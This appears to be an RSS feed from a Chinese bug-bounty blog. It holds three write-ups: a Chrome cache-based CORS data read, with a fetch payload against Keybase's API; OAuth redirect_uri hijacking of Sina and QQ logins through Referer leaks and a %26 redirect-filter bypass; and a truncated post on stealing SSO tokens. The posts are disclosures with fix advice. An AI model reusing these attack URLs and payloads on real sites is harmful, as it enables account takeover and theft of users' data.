todaro's blog itodaro's blog,powered by jekyll. http://b.cp0.win/ Wed, 07 Oct 2020 23:58:13 +0800 Wed, 07 Oct 2020 23:58:13 +0800 Jekyll v3.9.0 2020-03-06-chrome浏览器配合CORS配置问题带来的新攻击面 <h4 id="导读">导读</h4> <p>如果CORS配置Access-Control-Allow-Origin: *(或者Access-Control-Allow-Origin: hacker.com),即使配置Access-Control-Allow-Credentials: false,攻击者还是可以通过chrome浏览器的缓存功能(force-cache)读取到用户的敏感信息(chrome浏览器不会修复这个问题)。</p> <h4 id="cors及sop简介">CORS及SOP简介</h4> <p>对CORS的介绍要从浏览器的同源策略开始说起,SOP全称为Same Origin Policy即同源策略,该策略是浏览器的一个安全基石,同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。简单来说同源策略就是浏览器会阻止一个源与另一个源的资源交互。可以试想一下,如果没有同源策略,当你访问一个正常网站的时候又无意间打开了另一个恶意网站,恶意网站会从你刚刚访问的正常网站上窃取你全部的信息。</p> <p>SOP是一个很好的策略,在SOP被提出的时期,大家都默默地遵守着这个规定,但随着WEB应用的发展,有些网站由于自身业务的需求,需要实现一些跨域的功能能够让不同域的页面之间能够相互访问各自页面的内容。为了实现这个跨域需求,聪明的程序员想到了一种编码技术JSONP,该技术利用从客户端传入的json格式的返回值,在服务器端调用该接口处事先以定义函数的方式定义好json格式里参数值,并加载script标签调用该函数实现跨域。由此可见JSONP虽然好但他并非是在协议层面解决跨域问题,所以出现了很多安全问题。为了能更安全的进行跨域资源访问,CORS诞生了。</p> <p>CORS是H5提供的一种机制,WEB应用程序可以通过在HTTP报文中增加特定字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源。</p> <h4 id="cors已经存在的问题">CORS已经存在的问题</h4> <p>CORS在设置Access-Control-Allow-Origin: hacker.com且Access-Control-Allow-Credentials: true的情况下,hacker.com可以读取用户在网站的敏感信息。</p> <h4 id="cors配合chrome浏览器产生的新问题">CORS配合Chrome浏览器产生的新问题</h4> <p>如果CORS配置Access-Control-Allow-Origin: *(或者Access-Control-Allow-Origin: hacker.com),攻击者可以通过chrome浏览器的缓存功能读取到用户的敏感信息。</p> <p>Chrome的force-cache:浏览器在HTTP缓存中查找匹配的请求。</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>如果有新的或旧的匹配,它将从缓存中返回。 如果不匹配,浏览器将发出正常的请求,并用下载的资源更新缓存。 </code></pre></div></div> <p>与之相似的还有only-if-cached:浏览器在HTTP缓存中查找匹配的请求。</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>如果有新的或旧的匹配,将从缓存返回。 如果不匹配,浏览器将返回一个错误。 </code></pre></div></div> <p>force-cache和only-if-cached的差别在于,后者要求请求者和资源者需同源,否则会弹出如下错误: <img src="img/article/2020.3.6/1.png" alt="1.png" /></p> <p>所以在Chrome的force-cache下,攻击者可以通过读取用户在浏览器的缓存来获取敏感信息。</p> <p>Chrome开发团队认为缓存就是这样的工作机制,他们不会对这个问题进行修复,而是要求开发者使用“Vary”头部或者用户使用“–enable-features=SplitCacheByNetworkIsolationKey”启动浏览器: <img src="img/article/2020.3.6/2.png" alt="2.png" /></p> <p>火狐浏览器在上述场景中则不会返回敏感信息。</p> <h4 id="cors配合chrome的几个测试案例">CORS配合Chrome的几个测试案例</h4> <ol> <li>在最新版Chrome浏览器(80.0.3987.132)中测试以下几种CORS配置: <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(1) Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false (2) Access-Control-Allow-Origin: hacker.com Access-Control-Allow-Credentials: true (3) Access-Control-Allow-Origin: hacker.com Access-Control-Allow-Credentials: false </code></pre></div> </div> </li> <li>在最新版Firefox浏览器(73.0.1)中测试如下CORS配置: <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false </code></pre></div> </div> </li> </ol> <p>网站http://192.168.31.154:8010/存在三种环境分别对应上述的CORS配置:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://192.168.31.154:8010/index.php?type=1 对应(1) http://192.168.31.154:8010/index.php?type=2 对应(2) http://192.168.31.154:8010/index.php?type=3 对应(3) </code></pre></div></div> <p><img src="img/article/2020.3.6/3.png" alt="3.png" /> 如图,输入admin/admin后会登录到用户账户,然后根据type=1跳转到/secret.php,type=2跳转到/secret2.php,type=3跳转到/secret3.php,都会输出登录用户的$_COOKIE[‘auth’]到当前页面:</p> <p><img src="img/article/2020.3.6/4.png" alt="4.png" /></p> <p><img src="img/article/2020.3.6/5.png" alt="5.png" /></p> <p><img src="img/article/2020.3.6/6.png" alt="6.png" /></p> <p>另外一个网站http://192.168.31.154:8001/用来模拟攻击者网站,/poc.html负责读取用户的secret值,如果能通过跨域读取到该值,则输出到RESULT框中: <img src="img/article/2020.3.6/7.png" alt="7.png" /></p> <p>测试正式开始!</p> <p>【1】 先访问http://192.168.31.154:8010/index.php?type=1,输入admin/admin跳转到http://192.168.31.154:8010/secret.php,能够正确输出secret值: <img src="img/article/2020.3.6/8.png" alt="8.png" /></p> <p>在1(1)模式下通过CORS配置问题+Chrome浏览器缓存读取secret值(“Disable cache”默认关闭),点击“Steal secret”: <img src="img/article/2020.3.6/9.png" alt="9.png" /> 可以看到请求包不带cookie访问: <img src="img/article/2020.3.6/10.png" alt="10.png" /> 返回包如下: <img src="img/article/2020.3.6/11.png" alt="11.png" /></p> <p>成功跨域读取secret值并显示在RESULT中: <img src="img/article/2020.3.6/12.png" alt="12.png" /></p> <p>在Chrome中按Ctrl+Shift+i,在“Network”中勾选“Disable cache”禁止缓存功能: <img src="img/article/2020.3.6/13.png" alt="13.png" /></p> <p>刷新http://192.168.31.154:8001/poc.html,重新点击“Steal secret”,无法读取到secret值。</p> <p>如果再次关闭“Disable cache”,需要在登录状态下重新访问一次http://192.168.31.154:8010/secret.php让浏览器缓存该结果,之后才能重新读取secret的值。</p> <p>【2】 访问http://192.168.31.154:8010/index.php?type=2,输入admin/admin跳转到http://192.168.31.154:8010/secret2.php,能够正确输出secret值: <img src="img/article/2020.3.6/14.png" alt="14.png" /></p> <p>在1(2)模式下通过常规CORS配置漏洞读取secret值,点击“Steal secret”: <img src="img/article/2020.3.6/15.png" alt="15.png" /></p> <p>可以看到请求包带cookie访问: <img src="img/article/2020.3.6/16.png" alt="16.png" /> 返回包如下: <img src="img/article/2020.3.6/17.png" alt="17.png" /></p> <p>成功跨域读取secret值并显示在RESULT中: <img src="img/article/2020.3.6/18.png" alt="18.png" /></p> <p>这就是一个经典的CORS配置错误导致的跨域敏感信息读取。</p> <p>【3】 访问http://192.168.31.154:8010/index.php?type=3,输入admin/admin跳转到http://192.168.31.154:8010/secret3.php,能够正确输出secret: <img src="img/article/2020.3.6/19.png" alt="19.png" /></p> <p>在1(3)模式下尝试通过CORS读取secret值,点击“Steal secret”: <img src="img/article/2020.3.6/20.png" alt="20.png" /></p> <p>可以看到console的报错信息: <img src="img/article/2020.3.6/21.png" alt="21.png" /></p> <p>因为Access-Control-Allow-Credentials: false: <img src="img/article/2020.3.6/22.png" alt="22.png" /></p> <p>所以尝试读取secret值失败。</p> <p>【4】 在Firefox浏览器中先访问http://192.168.31.154:8010/index.php?type=1,输入admin/admin跳转到http://192.168.31.154:8010/secret.php,能够正确输出secret: <img src="img/article/2020.3.6/23.png" alt="23.png" /></p> <p>在2模式下尝试通过CORS配置问题+Firefox浏览器缓存读取secret值,点击“Steal secret”: <img src="img/article/2020.3.6/24.png" alt="24.png" /> http://192.168.31.154:8001/poc.html的内容需要稍作修改:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>将第38行const secret = htmlDoc.getElementsByName("secret")[0].text修改为 const secret = htmlDoc.getElementsByName("secret").text </code></pre></div></div> <p>可以看到请求包不带cookie访问: <img src="img/article/2020.3.6/25.png" alt="25.png" /> 返回包如下: <img src="img/article/2020.3.6/26.png" alt="26.png" /></p> <p>无法读取到secret的值: <img src="img/article/2020.3.6/27.png" alt="27.png" /></p> <p>如果在Firefox中通过1(2)的模式(即经典CORS漏洞配置问题)则能读取到secret的值: <img src="img/article/2020.3.6/28.png" alt="28.png" /></p> <h4 id="真实案例">真实案例</h4> <p>Keybase提供了一个API,该API允许用户对其他用户进行查找,但是没有做token检验。当已登录用户访问该接口时会返回用户的敏感信息。</p> <p>由于Keybase的CORS规则配置成如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: Content-Type, Authorization, Content-Length, X-Requested-With Access-Control-Allow-Credentials: false </code></pre></div></div> <p>所以攻击者可以配合Chrome浏览器缓存问题跨域读取该值,最终payload如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;html&gt; &lt;script&gt; var url = "https://keybase.io/_/api/1.0/user/lookup.json?username={YOUR_USERNAME}"; fetch(url, { method: 'GET', cache: 'force-cache' }); &lt;/script&gt; &lt;/html&gt; </code></pre></div></div> <p>用户一旦访问该页面,攻击者即可获取到其敏感信息。</p> <h4 id="一个延伸">一个延伸</h4> <p>以往在测试一些形似jsonp接口却不带callback时可能就只有放弃了,现在可以看看是不是有CORS配置Access-Control-Allow-Origin: *的存在,还有一些app里的H5场景。</p> <h4 id="总结">总结</h4> <p>CORS如果配置Access-Control-Allow-Origin: *(或者Access-Control-Allow-Origin: hacker.com),攻击者可以通过chrome浏览器的缓存功能(force-cache)读取到用户的敏感信息。</p> <p>开发者需要设置Access-Control-Allow-Origin: company.com,或者使用“Vary”头部。</p> <p>普通用户如果没有特殊需求,可以给Chrome浏览器启动添加“–enable-features=SplitCacheByNetworkIsolationKey”参数,或者勾选“Disable cache”。</p> <p>有两个线上测试环境: https://victime.docker.bi.tk/ http://87.98.164.31/malicious.html</p> <p>测试代码打包在files.rar中。</p> <h4 id="参考信息">参考信息</h4> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://enumerated.wordpress.com/2019/12/24/sop-bypass-via-browser-cache/ https://bugs.chromium.org/p/chromium/issues/detail?id=988319 https://github.com/MayurUdiniya/Chrome-CORS https://www.freebuf.com/company-information/216754.html https://www.w3cschool.cn/fetch_api/fetch_api-hokx2khz.html </code></pre></div></div> Fri, 06 Mar 2020 00:00:00 +0800 http://b.cp0.win/chrome%E6%B5%8F%E8%A7%88%E5%99%A8%E9%85%8D%E5%90%88CORS%E9%85%8D%E7%BD%AE%E9%97%AE%E9%A2%98%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%96%B0%E6%94%BB%E5%87%BB%E9%9D%A2.php http://b.cp0.win/chrome%E6%B5%8F%E8%A7%88%E5%99%A8%E9%85%8D%E5%90%88CORS%E9%85%8D%E7%BD%AE%E9%97%AE%E9%A2%98%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%96%B0%E6%94%BB%E5%87%BB%E9%9D%A2.php bounty bounty 2018-01-20-另外几个OAuth认证redirect_url设置过宽泛导致的授权劫持案例分享 <p>这一篇也是延续第1篇的技巧,主要的问题还是网站在向授权第三方登记授权返回地址时设置太宽泛,再加上自己的网站也有些缺陷问题,最后导致黑客可以劫持这些第三方的授权,这一篇有几个案例,然后也包含一些服务器端的简单检测绕过。</p> <p>由于<code class="language-plaintext highlighter-rouge">AAA.com</code>在新浪/QQ授权注册的<code class="language-plaintext highlighter-rouge">redirect_uri</code>白名单域名过于宽泛,导致黑客可通过1次点击无感方式劫持<code class="language-plaintext highlighter-rouge">AAA.com</code>/<code class="language-plaintext highlighter-rouge">BBB.com</code>用户新浪授权,可通过2次点击劫持<code class="language-plaintext highlighter-rouge">AAA.com</code>/<code class="language-plaintext highlighter-rouge">BBB.com</code>用户QQ授权,然后登陆账户。</p> <p>首先我在<code class="language-plaintext highlighter-rouge">http://bbs.AAA.com/thread-19478133-14-1.html</code>帖子插入了外链图片 <img src="img/article/2018.1.20/5.png" alt="5.png" /></p> <h4 id="1新浪微博授权劫持">【1】新浪微博授权劫持</h4> <p>测试账户绑定新浪微博“不止步的todaro”,该用户可通过新浪微博快速登录其绑定的AAA账户 <img src="img/article/2018.1.20/6.png" alt="6.png" /> 在账号和新浪微博已经绑定的情况下点击 <code class="language-plaintext highlighter-rouge">https://account.AAA.com/sina.php?to=http://i.AAA.com/</code> 可以直接跳转到账户,不用再点击一次头像</p> <p>新浪微博用于授权的原始链接如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://api.t.sina.com.cn/oauth/authorize?oauth_token=0501473f35ee53cebe6eb8433d6520f5&amp;oauth_callback=http%3A%2F%2Faccount.AAA.com%2Fsinalogin.php </code></pre></div></div> <p>这个<code class="language-plaintext highlighter-rouge">oauth_token</code>非常重要,简单来讲就是黑客提供这个值,然后用户使用这个值将账户与微博绑定,后期黑客就要拿着这个值和另外一个授权值去登陆用户账户。这个值也不是一成不变的,所以需要黑客先在自己的浏览器打开<code class="language-plaintext highlighter-rouge">https://account.AAA.com/</code>然后点击新浪授权,在链接中获取该值。</p> <p>获取到<code class="language-plaintext highlighter-rouge">oauth_token=43544e7c96e437852021d6c5a2415f1c</code></p> <p>所以最后的劫持链接是</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://api.t.sina.com.cn/oauth/authorize?oauth_token=43544e7c96e437852021d6c5a2415f1c&amp;oauth_callback=http://bbs.AAA.com/thread-19478133-14-1.html </code></pre></div></div> <p>用户请求后,直接通过referer泄露了另外一个授权要用到的参数<code class="language-plaintext highlighter-rouge">oauth_verifier</code>的值 <img src="img/article/2018.1.20/7.png" alt="7.png" /> Referer:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://bbs.AAA.com/thread-19478133-14-1.html?oauth_token=43544e7c96e437852021d6c5a2415f1c&amp;oauth_verifier=620201 </code></pre></div></div> <p>之后黑客回到刚刚自己获取<code class="language-plaintext highlighter-rouge">oauth_token</code>值得窗口请求</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://account.AAA.com/sinalogin.php?oauth_token=43544e7c96e437852021d6c5a2415f1c&amp;oauth_verifier=620201 </code></pre></div></div> <p>黑客成功在自己浏览器中登录该新浪微博绑定的账户 <img src="img/article/2018.1.20/8.png" alt="8.png" /> 在AAA.com登录,也意味着该账号对应绑定的邮箱也登录了BBB.com,因为他们设置了跨域账户互通</p> <p>但是默认情况下只有用户通过直接post请求登录AAA.com才会触发登陆BBB.com</p> <p>经过研究发现</p> <p>只要请求如下链接</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://account.AAA.com/?p=login_success&amp;error=0&amp;message=&amp;next=http%3A%2F%2Fi.AAA.com&amp;secure=1&amp;from=login&amp;nerror= </code></pre></div></div> <p>之后会自动触发连锁请求</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://passport.BBB.com/ssoLogin?st=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI4MDkyMTYxMiIsImV4cCI6MTUxNTgzNDA5Mn0.saw4LnkC7LR7kHdB3yu64vJ_t_XpDp02QXbVfvhc1TI </code></pre></div></div> <p>当然这个st无从猜解</p> <p>有了这个请求之后,passport.BBB.com也就登录成功了</p> <p>所以黑客授权劫持后,试着请求一下,最后成功登录其BBB.com的账户 <img src="img/article/2018.1.20/9.png" alt="9.png" /> 黑客访问 <code class="language-plaintext highlighter-rouge">https://passport.BBB.com</code> 成功 <img src="img/article/2018.1.20/10.png" alt="10.png" /> 至此完成了对新浪授权登录账户的劫持,新浪用户只需要第一次授权要点确定,后面直接授权,无需任何操作,对用户来说是完全无感的。</p> <h4 id="2新浪微博劫持">【2】新浪微博劫持</h4> <p>用户将自己的QQ与AAA.com的账户进行绑定</p> <p>QQ授权登录的原始链接为</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://graph.qq.com/oauth2.0/show?which=Login&amp;display=pc&amp;response_type=code&amp;client_id=XXXXXX&amp;redirect_uri=http://account.AAA.com/qqlogin.php&amp;state=a84bce6b18ea21337cf832d8da3eff08&amp;scope=get_user_info </code></pre></div></div> <p>这里每次的<code class="language-plaintext highlighter-rouge">state</code>参数同上面的<code class="language-plaintext highlighter-rouge">oauth_token</code>一样都是变化的,所以黑客需要先在自己的浏览器访问获取改值 <img src="img/article/2018.1.20/11.jpg" alt="11.jpg" /></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://graph.qq.com/oauth2.0/show?which=Login&amp;display=pc&amp;response_type=code&amp;client_id=XXXXXX&amp;redirect_uri=http://account.AAA.com/qqlogin.php&amp;state=7fd233c9f34a007745e2773755121b53&amp;scope=get_user_info </code></pre></div></div> <p>将链接修改为如下,并让用户访问</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://graph.qq.com/oauth2.0/show?which=Login&amp;display=pc&amp;response_type=code&amp;client_id=XXXXXX&amp;redirect_uri=http://bbs.AAA.com/thread-19478133-14-1.html&amp;state=7fd233c9f34a007745e2773755121b53&amp;scope=get_user_info </code></pre></div></div> <p>获得 <img src="img/article/2018.1.20/12.png" alt="12.png" /> Referer:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://bbs.AAA.com/thread-19478133-14-1.html?code=C35B9259FB0E81135F126AFA50FC967B&amp;state=7fd233c9f34a007745e2773755121b53 </code></pre></div></div> <p>黑客回到刚刚获取<code class="language-plaintext highlighter-rouge">state</code>参数的浏览器,访问</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://account.AAA.com/qqlogin.php?code=C35B9259FB0E81135F126AFA50FC967B&amp;state=7fd233c9f34a007745e2773755121b53 </code></pre></div></div> <p>黑客成功登录用户账户 <img src="img/article/2018.1.20/8.png" alt="13.png" /> 黑客随后请求</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://account.AAA.com/?p=login_success&amp;error=0&amp;message=&amp;next=http%3A%2F%2Fi.AAA.com&amp;secure=1&amp;from=login&amp;nerror= </code></pre></div></div> <p>黑客接着请求<code class="language-plaintext highlighter-rouge">https://passport.BBB.com</code></p> <p>黑客成功登录其BBB.com账户 <img src="img/article/2018.1.20/10.png" alt="14.png" /> 至此完成了对qq授权登录账户的劫持,qq授权每次都是要点击头像授权的,所以它不像新浪那么方便。</p> <h4 id="3当授权返回地址限制到特定域名但是没有限制到特定目录时还是会出问题">【3】当授权返回地址限制到特定域名但是没有限制到特定目录时还是会出问题</h4> <p>当在新浪设置<code class="language-plaintext highlighter-rouge">oauth_callback</code>为<code class="language-plaintext highlighter-rouge">account.AAA.com</code>而不是<code class="language-plaintext highlighter-rouge">account.AAA.com/sinalogin.php</code>时,如果<code class="language-plaintext highlighter-rouge">account.AAA.com</code>域名下存在重定向漏洞,那么还是可以通过referer将授权数据传递出去。</p> <p>于是接下来最关键的是找到<code class="language-plaintext highlighter-rouge">account.AAA.com</code>域名下的重定向漏洞</p> <p>比如</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://account.AAA.com/?p=login_success&amp;error=0&amp;message=&amp;next=http://i.AAA.com/&amp;secure=1&amp;from=login&amp;nerror= </code></pre></div></div> <p>和</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://passport.AAA.com/logout?to=https://baidu.com/ </code></pre></div></div> <p>前者需要登录后访问,后者都退出了,即使获取到code也是没有用,都被销毁了。</p> <p>如果直接修改<code class="language-plaintext highlighter-rouge">next</code>参数为<code class="language-plaintext highlighter-rouge">www.baidu.com</code> 即</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://account.AAA.com/?p=login_success&amp;error=0&amp;message=&amp;next=http://www.baidu.com/&amp;secure=1&amp;from=login&amp;nerror= </code></pre></div></div> <p>并不会跳到<code class="language-plaintext highlighter-rouge">http://www.baidu.com</code></p> <p>简单绕过,即</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://account.AAA.com/?p=login_success&amp;error=0&amp;message=&amp;next=http://i.AAA.com.www.baidu.com/&amp;secure=1&amp;from=login&amp;nerror= </code></pre></div></div> <p>则能正确跳转到<code class="language-plaintext highlighter-rouge">http://i.AAA.com.www.baidu.com/</code></p> <p>那直接把链接放到<code class="language-plaintext highlighter-rouge">oauth_callback</code>即</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://api.t.sina.com.cn/oauth/authorize?oauth_token=7d5484c0f195334471a44b04ff5d3cf7&amp;oauth_callback=https://account.AAA.com/?p=login_success&amp;error=0&amp;message=&amp;next=http://i.AAA.com.www.baidu.com/&amp;secure=1&amp;from=login&amp;nerror= </code></pre></div></div> <p>还是不行的,观察请求数据你就会发现</p> <p>服务器只获取到<code class="language-plaintext highlighter-rouge">https://account.AAA.com/?p=login_success</code>,即第一个&amp;前面的参数及数据,剩下的都丢弃,最后返回</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://account.AAA.com/?p=login_success&amp;oauth_token=64cefef639db56f825d14a52da67e0fc&amp;oauth_verifier=637190` </code></pre></div></div> <p>这样当然不行,经过测试,要跳转需要的有效参数为<code class="language-plaintext highlighter-rouge">p</code>和<code class="language-plaintext highlighter-rouge">next</code>,二者缺一不可</p> <p>如果修改为</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://api.t.sina.com.cn/oauth/authorize?oauth_token=7d5484c0f195334471a44b04ff5d3cf7&amp;oauth_callback=https://account.AAA.com/?next=http://i.AAA.com.www.baidu.com/&amp;p=login_success </code></pre></div></div> <p>还是会因为&amp;的问题,最后返回</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://account.AAA.com/?next=http://i.AAA.com.www.baidu.com/&amp;oauth_token=64cefef639db56f825d14a52da67e0fc&amp;oauth_verifier=637190 </code></pre></div></div> <p>因为少了<code class="language-plaintext highlighter-rouge">p=login_success</code>还是不能跳转成功</p> <p>在这个地方卡了很久,实在没办法,想放弃然后直接找一个<code class="language-plaintext highlighter-rouge">account.AAA.com</code>域下的重定向漏洞,但是找到的都是要2个参数同时起作用,也就是要有<code class="language-plaintext highlighter-rouge">&amp;</code>参与,最后肯定会有一个参数被丢弃导致不能跳转。</p> <p>后来想了一下,碰碰运气,把<code class="language-plaintext highlighter-rouge">&amp;</code>编码为<code class="language-plaintext highlighter-rouge">%26</code>,试了一下,居然成了!</p> <p>即最后的链接是</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://api.t.sina.com.cn/oauth/authorize?oauth_token=7d5484c0f195334471a44b04ff5d3cf7&amp;oauth_callback=https://account.AAA.com/?next=http://i.AAA.com.www.baidu.com/%26p=login_success </code></pre></div></div> <p>现在能正确跳转了,这时候又遇到一个问题了,在浏览器的规范中,https向http请求时是不会携带referer数据的,但黑客就是要通过referer参数来获取授权数据,这哪里行!</p> <p>于是为了验证漏洞存在</p> <p>我把<code class="language-plaintext highlighter-rouge">i.AAA.com.cp0.win</code>解析到192.30.253.112(这个是github的ip…)</p> <p>所以你访问<code class="language-plaintext highlighter-rouge">https://i.AAA.com.cp0.win</code>实际上是访问<code class="language-plaintext highlighter-rouge">https://github.com</code></p> <p>源站是https,跳转后的站也是https,referer传输没问题了。</p> <p>怎么找已经登录用户呢?bbs!</p> <p>所以一切都通了。</p> <p>黑客先在自己的浏览器访问<code class="language-plaintext highlighter-rouge">https://account.AAA.com/</code> <img src="img/article/2018.1.20/13.png" alt="13.png" /> 点击该按钮,获取到url中的<code class="language-plaintext highlighter-rouge">oauth_token</code> <img src="img/article/2018.1.20/14.png" alt="14.png" /> <code class="language-plaintext highlighter-rouge">oauth_token=0645156deaa21088d5211897ab5fd332</code></p> <p>替换到下面的链接中,受害者访问如下链接</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://api.t.sina.com.cn/oauth/authorize?oauth_token=0645156deaa21088d5211897ab5fd332&amp;oauth_callback=https://account.AAA.com/?next=https://i.AAA.com.itodaro.pw%26p=login_success </code></pre></div></div> <p><img src="img/article/2018.1.20/15.png" alt="15.png" /> 黑客成功获取到referer数据</p> <p>Referer:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://account.AAA.com/?next=https://i.AAA.com.cp.win&amp;p=login_success&amp;oauth_token=0645156deaa21088d5211897ab5fd332&amp;oauth_verifier=235790 </code></pre></div></div> <p>黑客在原来的浏览器访问</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://account.AAA.com/sinalogin.php?oauth_token=0645156deaa21088d5211897ab5fd332&amp;oauth_verifier=235790 </code></pre></div></div> <p>黑客成功登录受害者对应账号 <img src="img/article/2018.1.20/8.png" alt="16.png" /> 黑客接着请求</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://account.AAA.com/?p=login_success&amp;error=0&amp;message=&amp;next=http%3A%2F%2Fi.AAA.com&amp;secure=1&amp;from=login&amp;nerror= </code></pre></div></div> <p>黑客接着请求<code class="language-plaintext highlighter-rouge">https://passport.BBB.com</code></p> <p>黑客成功登录BBB.com的账户 <img src="img/article/2018.1.20/10.png" alt="17.png" /> 至此完成了对qq授权登录账户的劫持,qq授权每次都是要点击头像授权</p> <h4 id="4修复建议">【4】修复建议</h4> <p>授权返回地址限制到目录级别,对外请求数据时需要做脱敏处理</p> <h2 id="最后这些洞加起来价值85人民币">最后这些洞加起来价值85人民币!</h2> Sat, 20 Jan 2018 00:00:00 +0800 http://b.cp0.win/%E5%8F%A6%E5%A4%96%E5%87%A0%E4%B8%AAOAuth%E8%AE%A4%E8%AF%81redirect_url%E8%AE%BE%E7%BD%AE%E8%BF%87%E5%AE%BD%E6%B3%9B%E5%AF%BC%E8%87%B4%E7%9A%84%E6%8E%88%E6%9D%83%E5%8A%AB%E6%8C%81%E6%A1%88%E4%BE%8B%E5%88%86%E4%BA%AB.php http://b.cp0.win/%E5%8F%A6%E5%A4%96%E5%87%A0%E4%B8%AAOAuth%E8%AE%A4%E8%AF%81redirect_url%E8%AE%BE%E7%BD%AE%E8%BF%87%E5%AE%BD%E6%B3%9B%E5%AF%BC%E8%87%B4%E7%9A%84%E6%8E%88%E6%9D%83%E5%8A%AB%E6%8C%81%E6%A1%88%E4%BE%8B%E5%88%86%E4%BA%AB.php bounty bounty 2018-1-18-在单点登录的网站通过referer盗取用户授权 <p>最近参加了一个赏金计划,然后在单点登录中发现了一个涉及比较多站点的漏洞,测试过程比较有意思,所以分享一下。</p> <h4 id="基础解答">基础解答:</h4> <p>一般我们在挖洞的时候,很关键的就是要观察数据流,你可以选择用burp,当然也可以使用浏览器的F12(俗称浏览器F12大法)来观察数据流向。</p> <p>以下将用户中心登录站点称为passport.AAA.com,用户在登陆<code class="language-plaintext highlighter-rouge">*.AAA.com</code>的时候可以选择先登录<code class="language-plaintext highlighter-rouge">passport.AAA.com</code>,然后它会返回授权,接着用户就能登录<code class="language-plaintext highlighter-rouge">*.AAA.com</code>了。 <img src="img/article/2018.1.18/图片1.png" alt="图片1.png" /> 当然我一般都是先登录了,然后再去点击这个链接,接着默默观察浏览器都请求了啥玩意。</p> <p>你可以发现其中的一个请求长成下面这个样子:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://passport.AAA.com/sso/accounts/serviceLogin?continue=http://subdomain.AAA.com/SSOServerLogin&amp;isiframe=1&amp;service=service_id&amp;location=687474703a2f2f737562646f6d61696e2e4141412e636f6d2f&amp;CSSStyle=https://static.xxx.AAA.com/sso/subdomain/style/login_t_cover160316.css </code></pre></div></div> <p>然后会跳转到</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://subdomain.AAA.com/SSOServerLogin?auth=xxxx&amp;isiframe=1&amp;location=687474703a2f2f737562646f6d61696e2e4141412e636f6d2f </code></pre></div></div> <p>那么理所当然的,这里有几个参数我们肯定是要改一改看看服务器怎么响应了:<code class="language-plaintext highlighter-rouge">continue</code>、<code class="language-plaintext highlighter-rouge">isiframe</code>、<code class="language-plaintext highlighter-rouge">service</code>、<code class="language-plaintext highlighter-rouge">location</code>、<code class="language-plaintext highlighter-rouge">CSSStyle</code>。</p> <p>从上面的链接我们可以看到最后授权是返回给了continue指定的值,于是我把continue参数的值改为<code class="language-plaintext highlighter-rouge">http://www.baidu.com</code>,然后访问</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://passport.AAA.com/sso/accounts/serviceLogin?continue=http://www.baidu.com&amp;isiframe=1&amp;service=service_id&amp;location=687474703a2f2f737562646f6d61696e2e4141412e636f6d2f&amp;CSSStyle=https://static.xxx.AAA.com/sso/subdomain/style/login_t_cover160316.css </code></pre></div></div> <p>很遗憾,并不能马上成功</p> <p>说明人家还是校验了域名的,于是接下来就要想办法正面刚一下,看看服务器是不是真的很好的校验了该域名!</p> <p>将continue的值设置为<code class="language-plaintext highlighter-rouge">http://[email protected]</code>, <code class="language-plaintext highlighter-rouge">http://AAA.com.www.baidu.com</code>等欺骗域名均告失败,当设置为<code class="language-plaintext highlighter-rouge">http://www.baidu.com#@AAA.com</code>可以截断变成<code class="language-plaintext 